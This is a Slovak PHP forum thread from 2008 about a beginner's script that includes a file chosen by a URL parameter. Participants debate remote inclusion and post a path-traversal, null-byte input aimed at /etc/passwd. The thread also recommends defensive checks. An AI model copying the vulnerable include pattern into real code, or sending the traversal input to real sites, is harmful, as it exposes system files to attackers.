| | |
| Stránka: 1 z 1
| [ Príspevkov: 29 ] | |
Autor | Správa |
---|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal haho: 08.04.2008 21:19 | |
|
caute, poreboval by som poradit s tímto
chcem aby pri zadani pokus.php sa vlozil uvod.inc a pri zadani pokus.php?x=nieco aby sa vlozil nieco.inc
napisal som to takto:
<?
$x = $_REQUEST['x'];
$subor = $x . ".inc";
if (File_Exists ($subor)):
include $subor;
else:
include "uvod.inc";
endif;
?>
pri zadani pokus.php?x=nieco sa naozaj vklada nieco.inc a ked zadam pokus.php?x=niecoconeexistuje sa vlozi uvod.inc
problem nastane ked zadam len pokus.php
vlozi sa vtedy sice uvod.inc ale tiez sa zobrazi aj Notice: Undefined index: x in c:\program files\easyphp1-8\www\pokus.php on line 14
na 14 riadku je $x = $_REQUEST['x'];
neviete niekto ako to opravit?
diki
|
|
Registrovaný: 24.01.08 Prihlásený: 13.09.17 Príspevky: 14572 Témy: 66 Bydlisko: Žilina |
nepouzivaj $_REQUEST, ale len $_GET
a tu je podla mna vhodnejsi zapis celeho kodu, ale to zalezi od programatora, komu co viac sedi
Kód: <?php if (isset($_GET['x])){ $x = $_GET['x']; $subor = $x . ".inc"; if (File_Exists ($subor)){ include $subor; } else{ include "uvod.inc"; } else include "uvod.inc"; ?>
a dalsia vec, NEPOUZIVAJ short tags, ( <? ?>), ale klasicky zapis <?php ?> ! vyhnes sa problemom na hostingoch, kde mas vypnutu short_tags direktivu ten tvoj kod totiz nemusi fungovat vsade...
_________________ C#, PHP, ... |
|
Registrovaný: 09.02.07 Prihlásený: 26.01.15 Príspevky: 257 Témy: 20 | Napísal mondzo: 09.04.2008 10:03 | |
|
Ja by som len dodal, ze v linku by som nikdy neposielal nazov suboru, ktory budem potom neskor includovat -> bezpecnostne hladisko
|
|
Registrovaný: 22.11.06 Prihlásený: 24.07.11 Príspevky: 27 Témy: 11 Bydlisko: Malacky |
mondzo píše: Ja by som len dodal, ze v linku by som nikdy neposielal nazov suboru, ktory budem potom neskor includovat -> bezpecnostne hladisko
no myslim ze v tomto pripade to mas jedno....lebo on potom overuje ci taky subor existuje. Takze keby to chce niekto napadnut tak sa mu tam hodi uvod.inc
|
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 09.04.2008 19:25 | |
|
el mariachi píše: nepouzivaj $_REQUEST, ale len $_GET a tu je podla mna vhodnejsi zapis celeho kodu, ale to zalezi od programatora, komu co viac sedi Kód: <?php if (isset($_GET['x])){ $x = $_GET['x']; $subor = $x . ".inc"; if (File_Exists ($subor)){ include $subor; } else{ include "uvod.inc"; } else include "uvod.inc"; ?>
a dalsia vec, NEPOUZIVAJ short tags, ( <? ?>), ale klasicky zapis <?php ?> ! vyhnes sa problemom na hostingoch, kde mas vypnutu short_tags direktivu ten tvoj kod totiz nemusi fungovat vsade...
aj ked tam dam namiesto $_REQUEST $_GET stale sa deje to iste a s tym tvojim zapisom mi to tiez nejde
|
|
Registrovaný: 26.12.06 Prihlásený: 16.11.19 Príspevky: 3971 Témy: 181 Bydlisko: Nitra / Bra... | Napísal emer: 09.04.2008 19:55 | |
|
Kód: <?php if (isset($_GET['x'])){ $x = $_GET['x']; $subor = $x . ".inc"; if (File_Exists ($subor)){ include $subor; }else{ include "uvod.inc"; } }else{ include "uvod.inc"; } ?>
a čo teraz? chybal apostrof pri $_GET a zatvorky boli zle uzavrete
_________________ Sorry za prelkepy |
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 09.04.2008 21:22 | |
|
diki
ten apostrof som si vsimol ale zatvorky nie
|
|
Registrovaný: 09.09.07 Prihlásený: 07.11.16 Príspevky: 3114 Témy: 233 Bydlisko: Nové Zámky |
co by to spravilo, kebyze zadam:
Kód: pokus.php?x=http://www.mojweb.sk/script
samozrejme, ten script ma koncovku .inc... ktory si sam prida
fungovalo by to??
radsej nepouzivaj nazvy suborov...
_________________ "It took a lot of work, but this latest Linux patch enables support for machines with 4096 CPUs, up from the old limit of 1024." "Do you have support for smooth full-screen flash video yet?" "No, but who uses that?"
- ak dlho neodpisujem do témy, zabudol som na ňu, takže ma upozornite SS, ak chcete moju odpoveď |
|
Registrovaný: 21.02.06 Prihlásený: 08.12.14 Príspevky: 5404 Témy: 30 Bydlisko: Bratislava | Napísal shaggy: 10.04.2008 0:31 | |
|
Blackshadow, mondzo - aj ja používam podobné názvy a nič sa nedeje. Tento skript má jednu chybičku, to je pravda. Ale stačí umiestniť tie includované súbory do nejakého adresára, alebo pridať kontrolu či sa v reťazci nenachádza "http" a iné škodlivé reťazce. Používanie názvov súborov v parametroch nie je vôbec problém.
_________________ Neradím a nekomunikujem cez SS, ak niečo potrebujete, máte iné možnosti: Ak vám zmizla téma, alebo sa vám niečo nepáči. Ak potrebujete nahlásiť príspevok/človeka, reportujte ho. Ak máte s niečim problém, riešte to v danej téme. |
|
Registrovaný: 09.02.07 Prihlásený: 26.01.15 Príspevky: 257 Témy: 20 | Napísal mondzo: 10.04.2008 10:24 | |
|
Nie je mozno problem pre to, ze sa ti do toho zatial nikto nesral (s prepacenim za slovo).
CEST
|
|
Registrovaný: 24.01.08 Prihlásený: 13.09.17 Príspevky: 14572 Témy: 66 Bydlisko: Žilina |
mondzo píše: Nie je mozno problem pre to, ze sa ti do toho zatial nikto nesral (s prepacenim za slovo). CEST
tiez si myslim... osobne to povazujem za prilisne bezpecnostne riziko
_________________ C#, PHP, ... |
|
Registrovaný: 07.03.06 Prihlásený: 23.01.11 Príspevky: 404 Témy: 2 Bydlisko: Prešov / Pr... | Napísal mylan: 10.04.2008 11:08 | |
|
Blackshadow píše: co by to spravilo, kebyze zadam: Kód: pokus.php?x=http://www.mojweb.sk/script samozrejme, ten script ma koncovku .inc... ktory si sam prida fungovalo by to?? radsej nepouzivaj nazvy suborov... nestalo by sa vôbec nič, kedže je tam kontrola na lokálny súbor, ktorý url adresou neoblbneš. Len ti to skontroluje, že súbor s presným názvom http://www.mojweb.sk/script.inc na danom webe neexistuje Jednoducho by to vložilo uvod.inc doplnil by som však zápis nejako takto: Kód: $subor = "./" . $x . ".inc"; , plus by som skôr kontroloval, či sa v premennej x nenachádzajú 2 bodky(..), aby sa nevkladalo niečo zo subdomén, ak nie je na hostingu prislúšná restriction...
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 10.04.2008 11:48 | |
|
el mariachi píše: tiez si myslim... osobne to povazujem za prilisne bezpecnostne riziko uved nejaky nazorny priklad ohrozenia bezpecnosti. predsa ked ich mam v adresari, kde je zakazany priamy pristup a mam spravne filrovany vstup, nevidim ziadne ohrozenie.
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 21.02.06 Prihlásený: 08.12.14 Príspevky: 5404 Témy: 30 Bydlisko: Bratislava | Napísal shaggy: 10.04.2008 15:20 | |
|
mondzo píše: Nie je mozno problem pre to, ze sa ti do toho zatial nikto nesral (s prepacenim za slovo). CEST
ach deti, nepovyšujte svoje domnienky na overené tvrdenia. Pokojne sa mi do toho môže niekto "srať" (s prepáčením za tvoje slovo), ale ak si to vieš ošetriť, nevidím dôvod, prečo si to robiť ťažšie
_________________ Neradím a nekomunikujem cez SS, ak niečo potrebujete, máte iné možnosti: Ak vám zmizla téma, alebo sa vám niečo nepáči. Ak potrebujete nahlásiť príspevok/človeka, reportujte ho. Ak máte s niečim problém, riešte to v danej téme. |
|
Registrovaný: 09.02.07 Prihlásený: 26.01.15 Príspevky: 257 Témy: 20 | Napísal mondzo: 10.04.2008 17:28 | |
|
Hm, no neviem koho tu nazyvas deti. Ja uz davno do tejto kategorie nepatrim.
Ale na inu temu som chcel.
Ano pozrel som sa na to troska. Ano mate pravdu, ze file_exist kontroluje len lokalny subory a adresare, cize vzdialeny skript nemozno volat.
Avsak, co ak by som includoval nieco podobne v premennej x:
napr. pokus.php?x=../../../etc/passwd%00
Nemam to vsak odskusane, ale %00 predstavuje null hodnotu a nemalo by za tymto uz nic viac zobrat, cize ani .inc priponu, ktoru neskor priliepame a cisto v tejto rovine teoretickej by sme mohli ziskat pekne informacie.
Zdoraznujem, nemam to vyskusane a ak osetrime dobre uzivatelov vstup (ako napr. spominal suchy), k nicomu podobnemu by nemalo dojst.
CEST
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 10.04.2008 17:35 | |
|
ten null byte ti automaticky nezobere. uz som taketo veci skusal
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 21.02.06 Prihlásený: 08.12.14 Príspevky: 5404 Témy: 30 Bydlisko: Bratislava | Napísal shaggy: 10.04.2008 17:43 | |
|
Null byte je známy myslím každému, kto o tom niečo vie a toto je jedna z vecí čo skúšam, ak robím niečo nové - takže ani s týmto nie je problém
_________________ Neradím a nekomunikujem cez SS, ak niečo potrebujete, máte iné možnosti: Ak vám zmizla téma, alebo sa vám niečo nepáči. Ak potrebujete nahlásiť príspevok/človeka, reportujte ho. Ak máte s niečim problém, riešte to v danej téme. |
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 10.04.2008 18:19 | |
|
ten null zoberie
napisal som pokus.php?x=nieco.txt%00 a vlozilo to nieco.txt, ale aj tak to nevlozi zo suboru na inom serveri
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 10.04.2008 18:36 | |
|
mohol by si spomenut aj verziu apache, php a ich konfiguraciu, bo ja som to testoval na tomto Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3 a nepreslo mi to.
Warning: include() [function.include]: Failed opening 'index.php\0.php'
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 10.04.2008 20:12 | |
|
skusal som to aj na Apache/2.2.8 (Win32) PHP/5.2.5 a vysledok ten isty. zaujimalo by ma co starsie verzie.
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 07.03.06 Prihlásený: 23.01.11 Príspevky: 404 Témy: 2 Bydlisko: Prešov / Pr... | Napísal mylan: 10.04.2008 23:39 | |
|
mondzo píše: Avsak, co ak by som includoval nieco podobne v premennej x:
napr. pokus.php?x=../../../etc/passwd%00
presne som to aj spomenul, že treba skôr kontrolovať 2 bodky...
|
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 11.04.2008 18:55 | |
|
skusal som to na easyphp 1.8
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 11.04.2008 20:42 | |
|
haho píše: skusal som to na easyphp 1.8 to mi vela nepovie. bud si nechaj vypisat toto $_SERVER["SERVER_SOFTWARE"], alebo to najdi v phpinfo
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 12.04.2008 15:23 | |
|
o php este vela neviem
ako to mam dat vypisat? pisal som to do echa ale vypisovalo to len chybu
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 12.04.2008 15:33 | |
|
<?php phpinfo(); ?> a najdi tam potom ten riadok. bude v poslednom bloku PHP Variables
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 12.04.2008 17:11 | |
|
Apache/1.3.33 (Win32) PHP/4.3.10
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | Napísal suchy: 12.04.2008 21:35 | |
|
haho píše: Apache/1.3.33 (Win32) PHP/4.3.10 to vysvetluje preco ti to funguje
tu php 4 pouzivas z nejakeho specialneho dovodu ci si len lenivy na update?
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Registrovaný: 09.09.07 Prihlásený: 07.11.16 Príspevky: 3114 Témy: 233 Bydlisko: Nové Zámky |
PHP 4 pouziva, pretoze ani nevie, ze php 5 existuje
haho, daj si php 5
_________________ "It took a lot of work, but this latest Linux patch enables support for machines with 4096 CPUs, up from the old limit of 1024." "Do you have support for smooth full-screen flash video yet?" "No, but who uses that?"
- ak dlho neodpisujem do témy, zabudol som na ňu, takže ma upozornite SS, ak chcete moju odpoveď |
|
Registrovaný: 23.03.08 Prihlásený: 07.06.08 Príspevky: 24 Témy: 4 | Napísal autor témy haho: 13.04.2008 11:17 | |
|
viem ze existuje php5 len sa mi este nechcelo robit update
|
|
| Stránka: 1 z 1
| [ Príspevkov: 29 ] | |
Podobné témy | Témy | Odpovede | Zobrazenia | Posledný príspevok |
---|
| problem s include v PHP, ASP | 4 | 556 | 17.05.2007 21:46 jondo | | Include alebo fOPEN - problem... v PHP, ASP | 3 | 338 | 21.10.2012 19:00 ondrejko0102 | | Komicky problem - include, echo v PHP, ASP | 9 | 618 | 25.12.2009 23:34 xyz | | problem s menu (include) - domains hosting v PHP, ASP | 7 | 570 | 23.10.2007 19:49 Blackshadow | | [VYRIESENE] PHP: problem s INCLUDE pri RewriteEngine On v PHP, ASP | 2 | 565 | 17.02.2009 14:33 max-m | | include [ Choď na stránku: 1, 2 ] v PHP, ASP | 46 | 2570 | 18.09.2007 13:45 neopagan | | include v PHP, ASP | 10 | 769 | 03.01.2008 0:30 twistik | | include v PHP, ASP | 26 | 888 | 20.10.2010 21:50 walther | | include v PHP, ASP | 5 | 708 | 10.04.2009 19:10 Draex | | INCLUDE v Assembler, C, C++, Pascal, Java | 7 | 912 | 14.01.2010 19:47 karolraner | | include v PHP, ASP | 2 | 497 | 22.02.2010 15:25 Ďuri | | include v PHP, ASP | 6 | 324 | 30.05.2014 0:12 majky358 | | Zvlastny include v PHP, ASP | 4 | 457 | 24.01.2008 14:43 Blackshadow | | Include dynamický v PHP, ASP | 3 | 539 | 31.01.2012 1:23 shaggy | | chyba include v PHP, ASP | 6 | 550 | 09.09.2007 21:43 Flety | | Bezpecne include ? v PHP, ASP | 2 | 459 | 20.03.2012 19:05 ewil |
| Nemôžete zakladať nové témy v tomto fóre Nemôžete odpovedať na témy v tomto fóre Nemôžete upravovať svoje príspevky v tomto fóre Nemôžete mazať svoje príspevky v tomto fóre
|
|